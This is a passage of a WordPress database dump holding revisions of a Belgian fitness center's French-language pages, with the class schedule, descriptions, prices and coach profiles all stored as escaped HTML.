class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2014-02-09 20:41:07', '2014-02-09 20:41:07', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(436, 1, '2014-02-17 17:59:59', '2014-02-17 17:59:59', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n        &lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n\r\n\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-02-17 17:59:59', '2014-02-17 17:59:59', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(435, 1, '2014-02-17 17:57:25', '2014-02-17 17:57:25', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n        &lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	